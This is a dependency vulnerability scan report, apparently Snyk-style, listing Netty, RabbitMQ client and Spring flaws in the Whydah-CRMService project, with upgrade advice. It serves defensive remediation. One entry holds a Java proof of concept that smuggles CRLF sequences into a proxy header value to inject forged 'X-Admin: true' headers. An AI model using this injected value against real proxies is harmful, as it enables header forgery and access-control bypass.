Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions through the consumeBodyFrame path in CommandAssembler. An attacker can crash frame processing and tear down the AMQP connection by sending a content header that declares a small body size followed by a larger body frame on an open channel. The client processes the malformed frame sequence as a raw UnsupportedOperationException, so applications depending on that connection lose the broker session and stop consuming or publishing over it.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.31.0 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the WebSocket handshake. An attacker can bypass expected header validation by sending a Sec-WebSocket-Version: 7 header while omitting the Connection: Upgrade and Upgrade: websocket headers, which may result in a protocol switch that is not recognized by intermediary proxies, potentially enabling HTTP request smuggling or protocol confusion attacks.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity
new

Null Byte Interaction Error (Poison Null Byte)

  • Vulnerable module: io.netty:netty-codec-socks
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-socks@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.17.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final io.netty:netty-codec-socks@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final io.netty:netty-codec-socks@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final io.netty:netty-codec-socks@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final io.netty:netty-codec-socks@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) via the Socks4ClientEncoder and Socks5ClientEncoder in codec-socks. An attacker can truncate or alter encoded SOCKS requests by supplying userId, destination host, username, or password values containing embedded NUL bytes. This can make the proxy interpret different credentials or destination names than the application intended, leading to domain spoofing, authentication confusion, and proxy connections being sent to the wrong host.

Remediation

Upgrade io.netty:netty-codec-socks to version 4.1.137.Final, 4.2.17.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-handler-proxy
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-handler-proxy@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final

Overview

Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.

Notes:

  • This is only exploitable if the application uses HttpProxyHandler with user-influenced outboundHeaders and does not perform its own CRLF sanitization on header values.

  • This is caused due to an incomplete fix for CVE-2025-67735.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

Remediation

Upgrade io.netty:netty-handler-proxy to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in the HttpPostRequestEncoder. An attacker can inject arbitrary MIME headers and manipulate multipart request bodies by supplying crafted filenames containing CRLF sequences. This can lead to overriding Content-Type headers, injecting malicious scripts, or altering form data processed by downstream services.

Note: This is only exploitable if the application uses the multipart encoder with filenames derived from user-controlled input and does not perform its own CRLF sanitization.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-haproxy@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the encodeV1. An attacker can inject arbitrary CRLF sequences into AF_UNIX addresses by supplying specially crafted input, resulting in the creation of multiple PROXY protocol header lines. This can lead to client IP spoofing or manipulation of downstream server behavior by injecting unauthorized PROXY headers.

Note: This is only exploitable if user-controlled input is used as the AF_UNIX address in the construction of HAProxy V1 protocol headers and the encoded header is sent to a downstream server or load balancer.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) by providing a specially crafted SpEL expression, that might result in an OutOfMemoryError.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-expression to version 5.2.20.RELEASE, 5.3.17 or higher.

References

medium severity
new

Improper Certificate Validation

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation via the ConnectionFactory.useSslProtocol() and ConnectionFactory.useSslProtocol(String) paths in ConnectionFactory.java. An attacker can intercept and tamper with AMQP traffic by presenting any certificate during a TLS connection setup. Because the default SSL setup trusts every server certificate and does not verify the broker hostname, a man-in-the-middle can impersonate the RabbitMQ server and expose or alter client communications, including credentials and application messages.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.0 or higher.

References

medium severity
new

Improper Neutralization

  • Vulnerable module: io.netty:netty-codec-mqtt
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-mqtt@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.17.Final.

Overview

Affected versions of this package are vulnerable to Improper Neutralization through the CONNECT and PUBLISH encoding paths in MqttEncoder and MqttCodecUtil. An attacker can send MQTT fields containing NUL bytes or wildcard characters by supplying crafted client identifiers, usernames, will topics, or publish topic names. The encoder writes these strings into MQTT packets without rejecting illegal characters, so an application built on the codec can emit malformed MQTT messages that brokers interpret differently from the application’s own checks. In practice, this can let an attacker bypass topic or client-ID restrictions and publish to unintended topics or connect under a colliding identifier, breaking access controls and session isolation.

Remediation

Upgrade io.netty:netty-codec-mqtt to version 4.1.137.Final, 4.2.17.Final or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-transport-native-unix-common
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final io.netty:netty-transport-native-unix-common@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the netty_unix_socket_recvFd function. An attacker can cause file descriptor leaks by sending two file descriptors at once via a Unix domain socket, leading to resource exhaustion and potential denial of service.

Note:

This is only exploitable if the application opts into DomainSocketReadMode.FILE_DESCRIPTORS.

Remediation

Upgrade io.netty:netty-transport-native-unix-common to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Resource Exhaustion in DirectMessageListenerContainer.java, which does not use maxBodyLebgth. An attacker can cause a memory overflow and trigger an Out Of Memory error by sending a very large Message object.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.14.3, 5.16.1, 5.17.1 or higher.

References

medium severity

EPL-1.0 license

  • Module: org.aspectj:aspectjweaver
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.aspectj:aspectjweaver@1.7.4

EPL-1.0 license

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the patterns for disallowedFields on a DataBinder. As a result, a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including nested fields within the property path.

Remediation

Upgrade org.springframework:spring-context to version 5.2.21, 5.3.19 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-context to version 6.1.14 or higher.

References